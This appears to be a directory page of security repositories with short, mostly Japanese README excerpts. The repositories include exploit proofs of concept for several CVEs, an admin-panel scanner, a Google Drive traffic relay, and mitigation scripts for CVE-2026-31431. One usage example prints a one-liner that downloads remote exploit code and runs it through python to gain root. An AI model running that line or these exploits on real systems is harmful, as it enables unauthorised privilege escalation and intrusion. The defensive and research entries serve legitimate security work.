DNS-resolve-checker

DNS-resolver 使用方法 bash pdnscheck.sh 手順に従ってください...

laf

laf 指定されたホストまたはホストのリスト上の管理/ログインパネルをスキャンするPythonスクリプト。 usage: laf.py -h -d host -l hostfile|- -sys system -c cookie -u user -da -p pass -ic -k -v Find admin/login panel for a single host -d or a list of hosts -l. optional arguments: -h, --help show this help message and exit -d host host to scan -...

CVE-2026-84244

IBM Guardium Data Protection 12.2 is vulnerable to a stored cross-site scripting (XSS) vulnerability in the Quick Search results grid . This flaw allows an unauthenticated attacker capable of influencing monitored database traffic to execute malicious scripts in the browser of an authenticated Gu...

google_socks

このスクリプトは、Google Driveを介してデータを中継しながら、2つのソケットが通信できるようにするために使用されます。 詳細については、このブログ記事を参照してください。 セットアップ手順 必要なPythonモジュールをインストールする（下記参照） "python2 ./googlesocks.py --setup" を実行し、指示に従ってください Google APIプロジェクトを作成する プロジェクト用のOAuthクライアントID認証情報を作成する その認証情報のJSONをダウンロードする...

CVE-2023-23583-Reptar-

CVE-2023-23583-Reptar- このスクリプトは、システムのプロセッサのCPU IDを特定するのに役立ちます。すべてのCPU IDをこのスクリプトに追加していないので、必要に応じて編集してください。...

CVE-2024-38063-Remediation

CVE-2024-38063-Remediation 監査スクリプト PowerShellのワンライナーを使用してスクリプトをダウンロードします $downloadURI = 'https://raw.githubusercontent.com/dweger-scripts/CVE-2024-38063-Remediation/main/Audit-PatchInstalled-ipv6Vuln.ps1'; $script = 'C:\temp\Audit-PatchInstalled-ipv6Vuln.ps1'; Invoke-WebRequest -URI $downloadURI...

copy_fail_mitigation

copyfailmitigation 1. このスクリプトは、copyfail攻撃を緩和することを目的としています。CVE-2026-31431 2. Kali、ParrotSec、BlackArchなど、すべてのDebian/Ubuntu Archベースのプラットフォームで動作します。 使用方法: 3. cd 4. chmod +x copyfailmitigation.sh 5. rootとして実行することを推奨します。 6. ./copyfailmitigation.sh...

testanull-CVE-2021-28482.py

このリポジトリには README がありません。...

testanull-CVE-2021-22005.py

このリポジトリには README がありません。...

CVE-2021-30853

CVE-2021-30853 macOS に影響する CVE-2021-30657 をテストするためのシンプルな POC スクリプト。 この CVE により、ゲートキーパー、ノータリゼーション、XProtect のチェックをバイパスできます。 脆弱性の詳細 この脆弱性は、実行可能バンドルのメインスクリプトの最初の行（シバン）にインタープリタを定義しない（または、それ自体がシェルスクリプトであるインタープリタを指定する）場合に発生します。これにより、xpcproxy が posixspawnp...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash 使用例: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash copyFail-CVE-2026-31431-workaround-bash/qdf.sh...

Paranoid-Copy-Fail-CVE-2026-31431

================================ Paranoid AFALG ハードニングスクリプト ================================ すべてのユーザー空間カーネル暗号インターフェース（AFALG + algif モジュール）をブロックします CVE-2026-31431 を緩和し、将来の攻撃対象領域を削減します 通常のシステム（SSH、TLS、LUKS、WireGuard）では安全です AFALG ソケットを直接使用する稀なアプリのみが影響を受けます ================================...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 - 検証および緩和スクリプト このリポジトリは、Linuxホスト（特にUbuntu）における CVE-2026-31431 への曝露を評価し、algifaead モジュールをブロックすることで簡単な緩和策を適用するために使用されるBashスクリプトを文書化したものです。 言語バージョン: 英語: README.md ポルトガル語: README.pt-BR.md スクリプトは3つのモードをサポートしています: --check: ホスト情報を収集し、現在のステータスを分類します。 --mitigate: 脆弱なモジュールをブロックする modprobe...

cve-2021-44228-waf-tests

WAFやその他のデバイスをLog4Shell攻撃文字列およびさまざまなバイパス手法に対してテストするためのシンプルなbashスクリプト バイパスのテクニックは以下から: https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words 実行方法: ./cve-2021-44228.sh -t -c または、https://127.0.0.1 と 403 のデフォルト値を使用する場合: ./cve-2021-44228.sh...

Search-log4Jvuln-AppScanSTD

AppScan StandardとWebサイトのリストを使用してlog4Jの脆弱性を検索する このPowershellスクリプトは、Webサイトのリスト（URLs.txt）に対してAppScan Standardスキャンを実行し、Log4J（CVE-2021-44228）の脆弱性のみをチェックします。 プロジェクトの構成: スクリプトを実行すると、URLs.txtの各行を読み取り、Log4J（CVE-2021-44228）の脆弱性のスキャンを開始します。 各スキャンが終了すると、結果がLog4JResultAnalysis.txtに書き込まれます。...

CVE-2025-8625

CVE-2025-8625 — PoC 概要 このリポジトリには、Xakep.ru に掲載された記事のソースファイルが格納されています。 このリポジトリには、セキュリティ研究、教育、および隔離されたラボ環境 でのテストのみ を目的としたデモンストレーション資料が含まれています。このリポジトリは、第三者システムに対する使用を意図していません 。 リポジトリの内容 docker-compose.yml — 分析とテストのためのローカルで隔離された WordPress インスタンスを起動するための設定。 exploit/CVE-2025-8625.py —...

CVE-2023-42793_POC

CVE-2023-42793 エクスプロイトスクリプト 概要 このスクリプトは、CVE-2023-42793 の脆弱性に対するエクスプロイトプロセスを自動化するために設計されています。特定のサービス（この脆弱性の影響を受けると推定される）を対象とし、ユーザートークンの削除、新しいユーザートークンの作成、そして管理者権限を持つ新しいユーザーの作成を試みます。 要件 Python 3 ライブラリ: requests、random、argparse、xml.etree.ElementTree インストール 1. システムに Python 3 がインストールされていることを確認します。 2. 必...

CVE-2026-31431-exploit_py2_py3

CVE-2026-31431-exploitpy2py3 Python2とPython3の両方に対応したCVE-2026-31431スクリプト 使用方法：python2/3 exploitpy2py3.py escalate 引用元：https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit...

CVE-2021-41773

CVE-2021-41773 Apache 2.4.49 のパストラバーサル https://ubuntu.com/security/CVE-2021-41773 影響を受けるベース（時刻: 22:49 06/10/2021） 使用方法 IP python3 CVE-2021-41773.py -i 10.10.10.10 -s IPのリスト python3 CVE-2021-41773.py -l /home/ac1d/Documents/code/python/CVE-2021-41773/ips.txt -s スクリーンショット Apacheのバージョンを確認する...

copy-fail-mitigate-no-reboot

copy-fail-mitigate Copy Fail / CVE-2026-31431 向けの最小限の再起動不要の緩和ヘルパーです。 このスクリプトは、脆弱性のある algifaead モジュールパスを無効化し、モジュールの即時アンロードを試みます。また、/usr/bin/su のページキャッシュ退避をベストエフォートで実行します。 これは緩和策であり、カーネル修正ではありません。ベンダーの修正済みカーネルが利用可能になり次第、インストールしてください。 機能 このスクリプトは、公開されている Copy Fail アドバイザリで推奨されている緩和策を実行します: echo...